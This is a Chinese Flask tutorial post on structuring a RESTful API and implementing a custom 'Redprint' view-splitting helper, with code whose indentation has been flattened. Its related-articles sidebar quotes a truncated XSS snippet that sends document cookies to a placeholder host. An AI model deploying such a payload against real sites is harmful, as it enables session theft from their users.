慕课网Flask构建可扩展的RESTful API-1. 起步与红图

1.1 初始化项目

1.一个项目的初始化流程如下:

image.png

2.新建入口文件

app/app.py

from flask import Flask

__author__ = "gaowenfeng"


def create_app():
app = Flask(__name__)
app.config.from_object('app.config.secure')
app.config.from_object('app.config.setting')

return app

ginger.py

from app.app import create_app

__author__ = "gaowenfeng"

app = create_app()

if __name__ == '__main__':
app.run(debug=True)

1.2 红图

1.蓝图拆分视图函数的缺陷的缺陷

1.蓝图的作用并不是用来拆分视图函数的,而是用来拆分模块的 2.使用蓝图,统一个业务模型的试图函数的前缀都一样,代码重复啰嗦

2.打开思维,创建自己的redprint-红图

为了解决上面的两个问题,我们可以模仿蓝图,构建一个自定义的对象-红图,红图的定位是用来拆分视图,也就是视图函数层

image.png

我们采用自顶向下的编程思想,先编写redprint在试图函数中的使用代码,再编写redprint具体的实现

2.1 视图函数向红图的注册

app/api/v1/book.py

from app.libs.redprint import RedPrint

__author__ = "gaowenfeng"

api = RedPrint('book')


@api.route('/get')
def get_book():
return 'get book'
@api.route('/create')
def create():
return 'create book'

app/api/v1/user.py

from app.libs.redprint import RedPrint

__author__ = "gaowenfeng"

api = RedPrint('user')


@api.route('/get')
def get_user():
return 'i am gwf'

2.2 红图向蓝图的注册

app/api/__init__.py

from flask import Blueprint
from app.api.v1 import book, user

__author__ = "gaowenfeng"


def create_blueprint_v1():
bp_v1 = Blueprint('v1', __name__)
# 假设api有register的方法,后面再实现, url_prefix解决前缀问题
book.api.register(bp_v1, url_prefix='/book')
user.api.register(bp_v1, url_prefix='/user')
return bp_v1

2.3 蓝图向Flask核心对象的注册

app/app.py

from flask import Flask

__author__ = "gaowenfeng"


def register_blueprint(app):
from app.api.v1 import create_blueprint_v1
# url_prefix定义url前缀
app.register_blueprint(create_blueprint_v1(), url_prefix='/v1')


def create_app():
app = Flask(__name__)
app.config.from_object('app.config.secure')
app.config.from_object('app.config.setting')

register_blueprint(app)
return app

3.实现Redprint

因为我们的红图的作用就是要代替蓝图来实现试图函数的拆分,所以功能实现上可以参考蓝图的实现。

3.1 装饰性route的实现

蓝图的实现

def route(self, rule, **options):
"""Like :meth:`Flask.route` but for a blueprint. The endpoint for the
:func:`url_for` function is prefixed with the name of the blueprint.
"""
def decorator(f):
# 获取endpoint,默认为试图函数名
endpoint = options.pop("endpoint", f.__name__)
# 注册视图函数
self.add_url_rule(rule, endpoint, f, **options)
return f
return decorator

红图的实现可以模仿蓝图的实现结构 ,由于红图的route里没有办法拿到蓝图的对象,所以我们可以先把他们存储起来,等碰到的时候再进行注册

class Redprint:

def __init__(self, name):
self.name = name
self.mound = []

def route(self, rule, **options):
def decorator(f):
self.mound.append((f, rule, options))
return f

return decorator

3.2 register方法

在register方法中可以获取到蓝图对象,所以之前route中视图函数的注册延迟到这里进行

def register(self, bp, url_prefix=None):
# 如果不传url_prefix 则默认使用name
if url_prefix is None:
url_prefix = '/'+self.name
# python的自动拆包
for f, rule, options in self.mound:
endpoint = options.pop("endpoint", f.__name__)
# 将视图函数注册到蓝图上来
bp.add_url_rule(url_prefix + rule, endpoint, f, **options)

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏张戈的专栏

事实证明Linux永远是NO.1

嗨,我正在写一个简单的程序,我要让这个程序打印出一个整数。 #include <stdio.h> int main() {    int linux = ...

36470
来自专栏北京马哥教育

数据工程师常用的 Shell 命令

Linux以其强大的命令行称霸江湖,Shell命令是数据极客的必修兵器。探索性数据分析,在需求和数据都不太明确的环境下,使用各种命令进行一次探索与挖掘。从基础的...

32760
来自专栏青玉伏案

类比Spring框架来实现OC中的依赖注入

如果你之前使用过JavaEE开发中的Spring框架的话,那么你一定对依赖注入并不陌生。依赖注入(DI: Dependency Injection)是控制反转(...

23590
来自专栏FreeBuf

xss如何加载远程js的一些tips

在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+documen...

32390
来自专栏博客园迁移

乐观锁与悲观锁

乐观锁与悲观锁 http://www.cnblogs.com/qjjazry/p/6581568.html

10430
来自专栏CRPER折腾记

Vue折腾记 - (2)写一个不大靠谱的面包屑组件

我把页面标题和面包屑封装到一起..就不用涉及到组件的通讯了, 不然又要去监听路由或者依赖状态去获取

16820
来自专栏数据和云

性能分析:Oracle的CLOB使用与临时段访问及其性能优化

编辑手记:在系统测试、上线和优化的过程中,抓住核心环节、不放过任何可疑,这是DBA的基本要求之一,在这个案例中,高频度调用的存储过程引起了注意。 客户新上线的一...

51750
来自专栏FreeBuf

一个漏洞为何能影响数千万服务器以及66%安卓手机?

安全研究团队Perception Point发现Linux系统内核中存在一个高危级别的本地权限提升0day漏洞,编号为CVE-2016-0728。目前有超过66...

22750
来自专栏FreeBuf

别用Chrome浏览这篇文章,会崩溃!

早前就有8个字符让Skype崩溃的例子,今天我们提到的是16个字符让Chrome崩溃,你只需要点击这16个字符,甚至鼠标只是在这16个字节组成的链接周围移动都可...

20260
来自专栏专业duilib使用+业余界面开发

mysql5.7 安装,服务启动失败无data目录处理

25330

扫码关注云+社区

领取腾讯云代金券